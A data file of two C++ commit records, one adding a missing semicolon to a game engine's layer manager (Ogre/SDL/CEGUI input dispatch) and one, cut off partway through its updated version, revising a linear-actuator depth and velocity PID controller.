{"text":"<commit_before>\/*\n   Copyright 2015 James Fong\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n*\/\n\n#include \"GameLayerMachine.hpp\"\n#include <algorithm>\n\nnamespace vse {\n\nGameLayerMachine::GameLayerMachine(\n    Ogre::Root* ogreRoot, \n    Ogre::RenderWindow* ogreWindow, \n    SDL_Window* sdlWindow, \n    CEGUI::OgreRenderer* ceguiRenderer,\n    CEGUI::Window* ceguiWindow)\n: mOgreRoot(ogreRoot)\n, mOgreWindow(ogreWindow)\n, mSdlWindow(sdlWindow)\n, mCeguiRenderer(ceguiRenderer)\n, mCeguiWindow(ceguiWindow) {\n    \n}\n\nGameLayerMachine::~GameLayerMachine() {}\n\nvoid GameLayerMachine::addTop(GameLayer* addMe) {\n    addMe->onBegin(mOgreRoot, mOgreWindow, mSdlWindow, mCeguiRenderer, mCeguiWindow);\n    \n    for(std::vector<GameLayer*>::iterator iter = mLayers.begin(); iter != mLayers.end(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        layer->onAddedAbove(addMe);\n    }\n    mLayers.push_back(addMe);\n}\n\/*\nvoid GameLayerMachine::addGlobal(GameLayer* addMe) {\n}\nvoid GameLayerMachine::removeGlobal(GameLayer* removeMe) {\n}\n*\/\nvoid GameLayerMachine::addAbove(GameLayer* addMe, GameLayer* caller) {\n    \/\/ Find where the caller is located\n    std::vector<GameLayer*>::iterator location = mLayers.end();\n    for(std::vector<GameLayer*>::iterator iter = mLayers.begin(); iter != mLayers.end(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        if(layer == caller) {\n            location = iter;\n            break;\n        }\n    }\n    \n    \/\/ The caller is valid\n    assert(location != mLayers.end());\n    \n    \/\/ Insert the new game layer into the next location (\"One layer above\")\n    ++ location;\n    mLayers.insert(location, addMe); \/\/ Inserting here is safe\n    addMe->onBegin(mOgreRoot, mOgreWindow, mSdlWindow, mCeguiRenderer, mCeguiWindow);\n    \n    \/\/ Inform all layers \"below\" this one that a new layer was added above them (this should logically include the caller)\n    for(std::vector<GameLayer*>::iterator iter = mLayers.begin(); iter != location; ++ iter) {\n        GameLayer* layer = *iter;\n        \n        layer->onAddedAbove(addMe);\n    }\n}\nvoid GameLayerMachine::remove(GameLayer* removeMe) {\n    \/\/ Find the layer to remove\n    std::vector<GameLayer*>::iterator location = mLayers.end();\n    for(std::vector<GameLayer*>::iterator iter = mLayers.begin(); iter != mLayers.end(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        if(layer == removeMe) {\n            location = iter;\n            break;\n        }\n    }\n    \n    \/\/ This layer was found\n    assert(location != mLayers.end());\n    \n    \/\/ Inform layer that it is going to be removed\n    removeMe->onEnd();\n    \n    \/\/ Inform all layers \"below\" this one that a layer above them was removed\n    for(std::vector<GameLayer*>::iterator iter = mLayers.begin(); iter != location; ++ iter) {\n        GameLayer* layer = *iter;\n        \n        layer->onRemovedAbove(removeMe);\n    }\n    \n    \/\/ Remove layer\n    mLayers.erase(location);\n}\nvoid GameLayerMachine::removeAll() {\n    std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin();\n    while(iter != mLayers.rend()) {\n        GameLayer* layer = *iter;\n        this->remove(layer);\n        ++ iter\n    }\n}\n\n\/\/ Ticks\nvoid GameLayerMachine::onTick(float tps) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        layer->onTick(tps);\n    }\n}\n\n\/\/ Key handling\nvoid GameLayerMachine::onKeyPress(const SDL_KeyboardEvent& event, bool repeat) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        \/\/ Blocking\n        if(layer->onKeyPress(event, repeat)) {\n            break;\n        }\n    }\n}\nvoid GameLayerMachine::onKeyRelease(const SDL_KeyboardEvent& event) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        \/\/ Blocking\n        if(layer->onKeyRelease(event)) {\n            break;\n        }\n    }\n}\nvoid GameLayerMachine::onTextInput(const SDL_TextInputEvent& event) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        \/\/ Blocking\n        if(layer->onTextInput(event)) {\n            break;\n        }\n    }\n}\n\n\/\/ Mouse handling\nvoid GameLayerMachine::onMouseMove(const SDL_MouseMotionEvent& event) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        \/\/ Blocking\n        if(layer->onMouseMove(event)) {\n            break;\n        }\n    }\n}\nvoid GameLayerMachine::onMousePress(const SDL_MouseButtonEvent& event) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        \/\/ Blocking\n        if(layer->onMousePress(event)) {\n            break;\n        }\n    }\n}\nvoid GameLayerMachine::onMouseRelease(const SDL_MouseButtonEvent& event) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        \/\/ Blocking\n        if(layer->onMouseRelease(event)) {\n            break;\n        }\n    }\n}\nvoid GameLayerMachine::onMouseWheel(const SDL_MouseWheelEvent& event) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        \/\/ Blocking\n        if(layer->onMouseWheel(event)) {\n            break;\n        }\n    }\n}\n\n\n}\n<commit_msg>Add missing token<commit_after>\/*\n   Copyright 2015 James Fong\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n*\/\n\n#include \"GameLayerMachine.hpp\"\n#include <algorithm>\n\nnamespace vse {\n\nGameLayerMachine::GameLayerMachine(\n    Ogre::Root* ogreRoot, \n    Ogre::RenderWindow* ogreWindow, \n    SDL_Window* sdlWindow, \n    CEGUI::OgreRenderer* ceguiRenderer,\n    CEGUI::Window* ceguiWindow)\n: mOgreRoot(ogreRoot)\n, mOgreWindow(ogreWindow)\n, mSdlWindow(sdlWindow)\n, mCeguiRenderer(ceguiRenderer)\n, mCeguiWindow(ceguiWindow) {\n    \n}\n\nGameLayerMachine::~GameLayerMachine() {}\n\nvoid GameLayerMachine::addTop(GameLayer* addMe) {\n    addMe->onBegin(mOgreRoot, mOgreWindow, mSdlWindow, mCeguiRenderer, mCeguiWindow);\n    \n    for(std::vector<GameLayer*>::iterator iter = mLayers.begin(); iter != mLayers.end(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        layer->onAddedAbove(addMe);\n    }\n    mLayers.push_back(addMe);\n}\n\/*\nvoid GameLayerMachine::addGlobal(GameLayer* addMe) {\n}\nvoid GameLayerMachine::removeGlobal(GameLayer* removeMe) {\n}\n*\/\nvoid GameLayerMachine::addAbove(GameLayer* addMe, GameLayer* caller) {\n    \/\/ Find where the caller is located\n    std::vector<GameLayer*>::iterator location = mLayers.end();\n    for(std::vector<GameLayer*>::iterator iter = mLayers.begin(); iter != mLayers.end(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        if(layer == caller) {\n            location = iter;\n            break;\n        }\n    }\n    \n    \/\/ The caller is valid\n    assert(location != mLayers.end());\n    \n    \/\/ Insert the new game layer into the next location (\"One layer above\")\n    ++ location;\n    mLayers.insert(location, addMe); \/\/ Inserting here is safe\n    addMe->onBegin(mOgreRoot, mOgreWindow, mSdlWindow, mCeguiRenderer, mCeguiWindow);\n    \n    \/\/ Inform all layers \"below\" this one that a new layer was added above them (this should logically include the caller)\n    for(std::vector<GameLayer*>::iterator iter = mLayers.begin(); iter != location; ++ iter) {\n        GameLayer* layer = *iter;\n        \n        layer->onAddedAbove(addMe);\n    }\n}\nvoid GameLayerMachine::remove(GameLayer* removeMe) {\n    \/\/ Find the layer to remove\n    std::vector<GameLayer*>::iterator location = mLayers.end();\n    for(std::vector<GameLayer*>::iterator iter = mLayers.begin(); iter != mLayers.end(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        if(layer == removeMe) {\n            location = iter;\n            break;\n        }\n    }\n    \n    \/\/ This layer was found\n    assert(location != mLayers.end());\n    \n    \/\/ Inform layer that it is going to be removed\n    removeMe->onEnd();\n    \n    \/\/ Inform all layers \"below\" this one that a layer above them was removed\n    for(std::vector<GameLayer*>::iterator iter = mLayers.begin(); iter != location; ++ iter) {\n        GameLayer* layer = *iter;\n        \n        layer->onRemovedAbove(removeMe);\n    }\n    \n    \/\/ Remove layer\n    mLayers.erase(location);\n}\nvoid GameLayerMachine::removeAll() {\n    std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin();\n    while(iter != mLayers.rend()) {\n        GameLayer* layer = *iter;\n        this->remove(layer);\n        ++ iter;\n    }\n}\n\n\/\/ Ticks\nvoid GameLayerMachine::onTick(float tps) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        layer->onTick(tps);\n    }\n}\n\n\/\/ Key handling\nvoid GameLayerMachine::onKeyPress(const SDL_KeyboardEvent& event, bool repeat) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        \/\/ Blocking\n        if(layer->onKeyPress(event, repeat)) {\n            break;\n        }\n    }\n}\nvoid GameLayerMachine::onKeyRelease(const SDL_KeyboardEvent& event) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        \/\/ Blocking\n        if(layer->onKeyRelease(event)) {\n            break;\n        }\n    }\n}\nvoid GameLayerMachine::onTextInput(const SDL_TextInputEvent& event) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        \/\/ Blocking\n        if(layer->onTextInput(event)) {\n            break;\n        }\n    }\n}\n\n\/\/ Mouse handling\nvoid GameLayerMachine::onMouseMove(const SDL_MouseMotionEvent& event) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        \/\/ Blocking\n        if(layer->onMouseMove(event)) {\n            break;\n        }\n    }\n}\nvoid GameLayerMachine::onMousePress(const SDL_MouseButtonEvent& event) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        \/\/ Blocking\n        if(layer->onMousePress(event)) {\n            break;\n        }\n    }\n}\nvoid GameLayerMachine::onMouseRelease(const SDL_MouseButtonEvent& event) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        \/\/ Blocking\n        if(layer->onMouseRelease(event)) {\n            break;\n        }\n    }\n}\nvoid GameLayerMachine::onMouseWheel(const SDL_MouseWheelEvent& event) {\n    for(std::vector<GameLayer*>::reverse_iterator iter = mLayers.rbegin(); iter != mLayers.rend(); ++ iter) {\n        GameLayer* layer = *iter;\n        \n        \/\/ Blocking\n        if(layer->onMouseWheel(event)) {\n            break;\n        }\n    }\n}\n\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"BtuLinear.h\"\n\nBtuLinear::BtuLinear():\n    m_depthPid(DEP_K_C, DEP_TAU_I, DEP_TAU_D, PID_FREQ, DEPTH_MIN, DEPTH_MAX, VEL_MIN, VEL_MAX, 0),\n    m_posAPid(SP_K_C, SP_TAU_I, SP_TAU_D, PID_FREQ, POS_MIN, POS_MAX, VEL_MIN, VEL_MAX, 0),\n    m_posBPid(SP_K_C, SP_TAU_I, SP_TAU_D, PID_FREQ, POS_MIN, POS_MAX, VEL_MIN, VEL_MAX, 0),\n    m_velAPid(VEL_K_C, VEL_TAU_I, VEL_TAU_D, PID_FREQ, VEL_MIN, VEL_MAX, -1, 1, 0),\n    m_velBPid(VEL_K_C, VEL_TAU_I, VEL_TAU_D, PID_FREQ, VEL_MIN, VEL_MAX, -1, 1, 0),\n\tm_pressureSensor(PIN_IMU_SDA, PIN_IMU_SCL),\n    m_actAPwm(PIN_ACTA_PWM),\n    m_actBPwm(PIN_ACTB_PWM),\n    m_actAPot(PIN_ACTA_POT),\n    m_actBPot(PIN_ACTB_POT),\n    m_actADir(PIN_ACTA_DIR),\n    m_actBDir(PIN_ACTB_DIR)\n{};\n\nBtuLinear::~BtuLinear(){}\n\nvoid BtuLinear::init() {\n    m_mode = 2;                   \/\/ vel control\n    m_kc = DEP_K_C;\n    m_tauI = DEP_TAU_I;\n    m_tauD = DEP_TAU_D;\n\n    m_v_kc = VEL_K_C;\n    m_v_tauI = VEL_TAU_I;\n    m_v_tauD = VEL_TAU_D;\n\n    \/\/ m_motorServo.calibrate(SERVO_PWM_WIDTH, SERVO_DEGREE_WIDTH);\n    m_pressureSensor.MS5837Init();\n    m_pressureSensor.MS5837Start();\n    wait(0.1);                    \/\/ remnant from old BTU class TODO: check if can be removed\n\n    m_oldPosA = getActPosition(ACT_A);\n    m_oldPosB = getActPosition(ACT_B);\n\n    for(int i = 0; i < AVG_WINDOW_WIDTH; i++) {\n        m_avg_windowA[i] = 0;\n        m_avg_windowB[i] = 0;\n    }\n    m_avg_windowPtr = 0;\n    m_avg_windowSize = 0;\n    m_currentAvgA = 0;\n\n    m_currentAvgB = 0;\n    m_currentVoltage = 0;\n}\n\nfloat BtuLinear::getPressure() {\n    return m_pressureSensor.MS5837_Pressure();\n}\n\nvoid BtuLinear::stop() {\n    return;\n}\n\nvoid BtuLinear::update(int mode, float kc, float tauI, float tauD) {\n    updateMode(mode);\n    m_kc = kc;\n    m_tauI = tauI;\n    m_tauD = tauD;\n    m_depthPid.setTunings(kc, tauI, tauD);\n}\n\nvoid BtuLinear::updatePosTunings(float kc, float tauI, float tauD) {\n    m_p_kc = kc;\n    m_p_tauI = tauI;\n    m_p_tauD = tauD;\n    m_posAPid.setTunings(kc, tauI, tauD);\n    m_posBPid.setTunings(kc, tauI, tauD);\n}\n\nvoid BtuLinear::updateVelTunings(float kc, float tauI, float tauD) {\n    m_v_kc = kc;\n    m_v_tauI = tauI;\n    m_v_tauD = tauD;\n    m_velAPid.setTunings(kc, tauI, tauD);\n    m_velBPid.setTunings(kc, tauI, tauD);\n}\n\nvoid BtuLinear::updateMode(int mode) {\n    if(m_mode != mode) {\n        stop();\n        m_mode = mode;\n        m_currentVoltage = 0;\n        m_currentAvgA = 0;\n        m_currentAvgB = 0;\n        m_avg_windowSize = 0;\n        m_depthPid.reset();\n        m_posAPid.reset();\n        m_posBPid.reset();\n        m_velAPid.reset();\n        m_velBPid.reset();\n    }\n}\n\nvoid BtuLinear::runCycle(float setVal) {\n    switch (m_mode) {\n\n    case VOLTAGE_CTRL_MODE:\n        voltageControl(setVal);\n        break;\n\n    case VELOCITY_CTRL_MODE:\n        velocityControl(setVal);\n        break;\n\n    case DEPTH_CTRL_MODE:\n        depthControl(setVal);\n        break;\n\n    case POSITION_CTRL_MODE:\n        positionControl(setVal);\n        break;\n    }\n}\n\nvoid BtuLinear::updateAndRunCycle(int mode, float value) {\n    updateMode(mode);\n    runCycle(value);\n}\n\n\n\/\/ void BTU::positionControl(float setPosDeg) {\n\/\/     float setPos = clip(setPosDeg, -SERVO_DEGREE_WIDTH, SERVO_DEGREE_WIDTH);\n\/\/     m_motorServo.position(setPos);\n\/\/ }\n\nvoid BtuLinear::voltageControlHelper(float setDuty, int ctrl) {\n    \/\/ PwmOut* actPwm;\n    \/\/ DigitalOut* actDir;\n    \/\/ if(ctrl == ACT_A) {\n    \/\/     actPwm = &m_actAPwm;\n    \/\/     actDir = &m_actADir;\n    \/\/ } else {\n    \/\/     actPwm = &m_actBPwm;\n    \/\/     actDir = &m_actBDir;\n    \/\/ }\n    if(ctrl == ACT_A) {\n        if(setDuty > 0) {\n            m_actAPwm = setDuty;\n            m_actADir = 1;\n        } else {\n            m_actADir = 0;\n            m_actAPwm = -setDuty;\n        }\n    }\n\n    if(ctrl == ACT_B) {\n        if(setDuty > 0) {\n            m_actBPwm = setDuty;\n            m_actBDir = 1;\n        } else {\n            m_actBDir = 0;\n            m_actBPwm = -setDuty;\n        }\n    }\n    \/\/ if(setDuty > 0) {\n    \/\/     *actPwm = setDuty;\n    \/\/     *actDir = 1;\n    \/\/ } else {\n    \/\/     *actDir = 0;\n    \/\/     *actPwm = -setDuty;\n    \/\/ }\n}\n\nvoid BtuLinear::voltageControl(float setDuty) {\n    voltageControlHelper(setDuty, ACT_A);\n    voltageControlHelper(setDuty, ACT_B);\n}\n\nvoid BtuLinear::updatePositionReadings() {\n    float aPosition = m_actAPot;\n    float bPosition = m_actBPot;\n\n    float aOldPos = m_avg_windowA[m_avg_windowPtr];\n    float bOldPos = m_avg_windowB[m_avg_windowPtr];\n    m_avg_windowA[m_avg_windowPtr] = aPosition;\n    m_avg_windowB[m_avg_windowPtr] = bPosition;\n    m_avg_windowPtr = (m_avg_windowPtr+1) % AVG_WINDOW_WIDTH;\n    if(m_avg_windowSize >= AVG_WINDOW_WIDTH) {\n        \/\/ buffer is full\n    \tm_currentAvgA = m_currentAvgA + (aPosition \/ AVG_WINDOW_WIDTH)- (aOldPos \/ AVG_WINDOW_WIDTH);\n        m_currentAvgB = m_currentAvgB + (bPosition \/ AVG_WINDOW_WIDTH)- (bOldPos \/ AVG_WINDOW_WIDTH);\n    } else {\n    \t\/\/ buffer is still filling up\n        m_avg_windowSize++;\n        m_currentAvgA = 0;\n        m_currentAvgB = 0;\n        for(int i = 0; i < m_avg_windowSize; i++) {\n            m_currentAvgA = (m_avg_windowA[i] \/ m_avg_windowSize);\n            m_currentAvgB = (m_avg_windowB[i] \/ m_avg_windowSize);\n        }\n    }\n}\n\nfloat BtuLinear::getActPosition(int act) {\n    \/\/ updatePositionReadings();\n    \/\/ float position;\n    \/\/ if(act == ACT_A) {\n    \/\/     position = m_currentAvgA;\n    \/\/ } else {\n    \/\/     position = m_currentAvgB;\n    \/\/ }\n    float position;\n    if(act == ACT_A) {\n        position = m_actAPot;\n    } else {\n        position = m_actBPot;\n    }\n    float scaledPos = (position - POT_MIN) \/ (POT_MAX - POT_MIN);\n    return scaledPos;\n}\n\nvoid BtuLinear::velocityControl(float setVel) {\n    velocityControlHelper(setVel, ACT_A);\n    velocityControlHelper(setVel, ACT_B);\n}\n\nfloat btu_abs(float a) {\n    return (a >= 0) ? a : -a;\n}\n\nvoid BtuLinear::velocityControlHelper(float setVelocity, int ctrl) {\n    \/\/ float pos = m_motorServo.readPosition();\n    if(ctrl != ACT_A && ctrl != ACT_B) {\n        return;\n    }\n    float pos;\n    float deltaVolt;\n    float cmdVolt;\n    float setVel = setVelocity;\n\n    if(ctrl == ACT_A) {\n        pos = getActPosition(ACT_A);\n        m_velAPid.setProcessValue((pos - m_oldPosA) \/ PID_FREQ);\n        m_velAPid.setSetPoint(setVel);\n        deltaVolt = m_velAPid.compute();\n        m_oldPosA = pos;\n    } else if(ctrl == ACT_B){\n        pos = getActPosition(ACT_B);\n        m_velBPid.setProcessValue((pos - m_oldPosB) \/ PID_FREQ);\n        m_velBPid.setSetPoint(setVel);\n        deltaVolt = m_velBPid.compute();\n        m_oldPosB = pos;\n    }\n    m_currentVoltage += deltaVolt;\n    if ((getActPosition(ctrl) <= 0.01 && setVel < 0) || (getActPosition(ctrl) >= 0.99 && setVel > 0)) {\n        m_currentVoltage = 0;\n    }\n    cmdVolt = m_currentVoltage;\n    if(btu_abs(cmdVolt) <= VOLTAGE_THRESHOLD) {\n        cmdVolt = 0;\n    }\n    voltageControlHelper(cmdVolt, ctrl);\n\n}\n\nvoid BtuLinear::positionControlHelper(float setPosDeg, int ctrl) {\n    if(ctrl == ACT_A) {\n        m_posAPid.setSetPoint(setPosDeg);\n        \/\/ m_specPid.setProcessValue(m_motorServo.readPosition());\n        m_posAPid.setProcessValue(getActPosition(ACT_A));\n        float cmdVelA = m_posAPid.compute();\n        \/\/ m_specCmd = (int)(cmdVel >= 0); \/\/ just for test recording purposes\n        velocityControlHelper(cmdVelA, ACT_A);\n    } else {\n        m_posBPid.setSetPoint(setPosDeg);\n        \/\/ m_specPid.setProcessValue(m_motorServo.readPosition());\n        m_posBPid.setProcessValue(getActPosition(ACT_B));\n        float cmdVelB = m_posBPid.compute();\n        \/\/ m_specCmd = (int)(cmdVel >= 0); \/\/ just for test recording purposes\n        velocityControlHelper(cmdVelB, ACT_B);\n    }\n\n}\n\nvoid BtuLinear::positionControl(float setPos) {\n    positionControlHelper(setPos, ACT_A);\n    positionControlHelper(setPos, ACT_B);\n}\n\nvoid BtuLinear::depthControlHelper(float cmdVelocity) {\n    velocityControlHelper(cmdVelocity, ACT_A);\n    positionControlHelper(getActPosition(ACT_A), ACT_B);\n}\n\nvoid BtuLinear::depthControl(float setDepthMeters) {\n    m_depthPid.setSetPoint(setDepthMeters);\n\n    float curDepth = getDepth();\n\n    m_depthPid.setProcessValue(curDepth);\n\n    float cmdVel = m_depthPid.compute();\n    depthControlHelper(cmdVel);\n    \/\/ velocityControl(cmdVel);\n}\n\nfloat BtuLinear::getDepth() {\n    float pvDepth = getPressure();\n    float pvDepthMeters = (pvDepth - P_ATMOS_MBAR) \/ P_WATER_SURFACE_MBAR;\n    return pvDepthMeters;\n}\n\n\/\/ float BTU::getServoPos() {\n\/\/ \treturn m_motorServo.readPosition();\n\/\/ }\n<commit_msg>clipped commandable voltage<commit_after>#include \"BtuLinear.h\"\n\nBtuLinear::BtuLinear():\n    m_depthPid(DEP_K_C, DEP_TAU_I, DEP_TAU_D, PID_FREQ, DEPTH_MIN, DEPTH_MAX, VEL_MIN, VEL_MAX, 0),\n    m_posAPid(SP_K_C, SP_TAU_I, SP_TAU_D, PID_FREQ, POS_MIN, POS_MAX, VEL_MIN, VEL_MAX, 0),\n    m_posBPid(SP_K_C, SP_TAU_I, SP_TAU_D, PID_FREQ, POS_MIN, POS_MAX, VEL_MIN, VEL_MAX, 0),\n    m_velAPid(VEL_K_C, VEL_TAU_I, VEL_TAU_D, PID_FREQ, VEL_MIN, VEL_MAX, -1, 1, 0),\n    m_velBPid(VEL_K_C, VEL_TAU_I, VEL_TAU_D, PID_FREQ, VEL_MIN, VEL_MAX, -1, 1, 0),\n\tm_pressureSensor(PIN_IMU_SDA, PIN_IMU_SCL),\n    m_actAPwm(PIN_ACTA_PWM),\n    m_actBPwm(PIN_ACTB_PWM),\n    m_actAPot(PIN_ACTA_POT),\n    m_actBPot(PIN_ACTB_POT),\n    m_actADir(PIN_ACTA_DIR),\n    m_actBDir(PIN_ACTB_DIR)\n{};\n\nBtuLinear::~BtuLinear(){}\n\nvoid BtuLinear::init() {\n    m_mode = 2;                   \/\/ vel control\n    m_kc = DEP_K_C;\n    m_tauI = DEP_TAU_I;\n    m_tauD = DEP_TAU_D;\n\n    m_v_kc = VEL_K_C;\n    m_v_tauI = VEL_TAU_I;\n    m_v_tauD = VEL_TAU_D;\n\n    \/\/ m_motorServo.calibrate(SERVO_PWM_WIDTH, SERVO_DEGREE_WIDTH);\n    m_pressureSensor.MS5837Init();\n    m_pressureSensor.MS5837Start();\n    wait(0.1);                    \/\/ remnant from old BTU class TODO: check if can be removed\n\n    m_oldPosA = getActPosition(ACT_A);\n    m_oldPosB = getActPosition(ACT_B);\n\n    for(int i = 0; i < AVG_WINDOW_WIDTH; i++) {\n        m_avg_windowA[i] = 0;\n        m_avg_windowB[i] = 0;\n    }\n    m_avg_windowPtr = 0;\n    m_avg_windowSize = 0;\n    m_currentAvgA = 0;\n\n    m_currentAvgB = 0;\n    m_currentVoltage = 0;\n}\n\nfloat BtuLinear::getPressure() {\n    return m_pressureSensor.MS5837_Pressure();\n}\n\nvoid BtuLinear::stop() {\n    return;\n}\n\nvoid BtuLinear::update(int mode, float kc, float tauI, float tauD) {\n    updateMode(mode);\n    m_kc = kc;\n    m_tauI = tauI;\n    m_tauD = tauD;\n    m_depthPid.setTunings(kc, tauI, tauD);\n}\n\nvoid BtuLinear::updatePosTunings(float kc, float tauI, float tauD) {\n    m_p_kc = kc;\n    m_p_tauI = tauI;\n    m_p_tauD = tauD;\n    m_posAPid.setTunings(kc, tauI, tauD);\n    m_posBPid.setTunings(kc, tauI, tauD);\n}\n\nvoid BtuLinear::updateVelTunings(float kc, float tauI, float tauD) {\n    m_v_kc = kc;\n    m_v_tauI = tauI;\n    m_v_tauD = tauD;\n    m_velAPid.setTunings(kc, tauI, tauD);\n    m_velBPid.setTunings(kc, tauI, tauD);\n}\n\nvoid BtuLinear::updateMode(int mode) {\n    if(m_mode != mode) {\n        stop();\n        m_mode = mode;\n        m_currentVoltage = 0;\n        m_currentAvgA = 0;\n        m_currentAvgB = 0;\n        m_avg_windowSize = 0;\n        m_depthPid.reset();\n        m_posAPid.reset();\n        m_posBPid.reset();\n        m_velAPid.reset();\n        m_velBPid.reset();\n    }\n}\n\nvoid BtuLinear::runCycle(float setVal) {\n    switch (m_mode) {\n\n    case VOLTAGE_CTRL_MODE:\n        voltageControl(setVal);\n        break;\n\n    case VELOCITY_CTRL_MODE:\n        velocityControl(setVal);\n        break;\n\n    case DEPTH_CTRL_MODE:\n        depthControl(setVal);\n        break;\n\n    case POSITION_CTRL_MODE:\n        positionControl(setVal);\n        break;\n    }\n}\n\nvoid BtuLinear::updateAndRunCycle(int mode, float value) {\n    updateMode(mode);\n    runCycle(value);\n}\n\n\n\/\/ void BTU::positionControl(float setPosDeg) {\n\/\/     float setPos = clip(setPosDeg, -SERVO_DEGREE_WIDTH, SERVO_DEGREE_WIDTH);\n\/\/     m_motorServo.position(setPos);\n\/\/ }\n\nvoid BtuLinear::voltageControlHelper(float setDuty, int ctrl) {\n    \/\/ PwmOut* actPwm;\n    \/\/ DigitalOut* actDir;\n    \/\/ if(ctrl == ACT_A) {\n    \/\/     actPwm = &m_actAPwm;\n    \/\/     actDir = &m_actADir;\n    \/\/ } else {\n    \/\/     actPwm = &m_actBPwm;\n    \/\/     actDir = &m_actBDir;\n    \/\/ }\n    if(ctrl == ACT_A) {\n        if(setDuty > 0) {\n            m_actAPwm = setDuty;\n            m_actADir = 1;\n        } else {\n            m_actADir = 0;\n            m_actAPwm = -setDuty;\n        }\n    }\n\n    if(ctrl == ACT_B) {\n        if(setDuty > 0) {\n            m_actBPwm = setDuty;\n            m_actBDir = 1;\n        } else {\n            m_actBDir = 0;\n            m_actBPwm = -setDuty;\n        }\n    }\n    \/\/ if(setDuty > 0) {\n    \/\/     *actPwm = setDuty;\n    \/\/     *actDir = 1;\n    \/\/ } else {\n    \/\/     *actDir = 0;\n    \/\/     *actPwm = -setDuty;\n    \/\/ }\n}\n\nvoid BtuLinear::voltageControl(float setDuty) {\n    voltageControlHelper(setDuty, ACT_A);\n    voltageControlHelper(setDuty, ACT_B);\n}\n\nvoid BtuLinear::updatePositionReadings() {\n    float aPosition = m_actAPot;\n    float bPosition = m_actBPot;\n\n    float aOldPos = m_avg_windowA[m_avg_windowPtr];\n    float bOldPos = m_avg_windowB[m_avg_windowPtr];\n    m_avg_windowA[m_avg_windowPtr] = aPosition;\n    m_avg_windowB[m_avg_windowPtr] = bPosition;\n    m_avg_windowPtr = (m_avg_windowPtr+1) % AVG_WINDOW_WIDTH;\n    if(m_avg_windowSize >= AVG_WINDOW_WIDTH) {\n        \/\/ buffer is full\n    \tm_currentAvgA = m_currentAvgA + (aPosition \/ AVG_WINDOW_WIDTH)- (aOldPos \/ AVG_WINDOW_WIDTH);\n        m_currentAvgB = m_currentAvgB + (bPosition \/ AVG_WINDOW_WIDTH)- (bOldPos \/ AVG_WINDOW_WIDTH);\n    } else {\n    \t\/\/ buffer is still filling up\n        m_avg_windowSize++;\n        m_currentAvgA = 0;\n        m_currentAvgB = 0;\n        for(int i = 0; i < m_avg_windowSize; i++) {\n            m_currentAvgA = (m_avg_windowA[i] \/ m_avg_windowSize);\n            m_currentAvgB = (m_avg_windowB[i] \/ m_avg_windowSize);\n        }\n    }\n}\n\nfloat BtuLinear::getActPosition(int act) {\n    \/\/ updatePositionReadings();\n    \/\/ float position;\n    \/\/ if(act == ACT_A) {\n    \/\/     position = m_currentAvgA;\n    \/\/ } else {\n    \/\/     position = m_currentAvgB;\n    \/\/ }\n    float position;\n    if(act == ACT_A) {\n        position = m_actAPot;\n    } else {\n        position = m_actBPot;\n    }\n    float scaledPos = (position - POT_MIN) \/ (POT_MAX - POT_MIN);\n    return 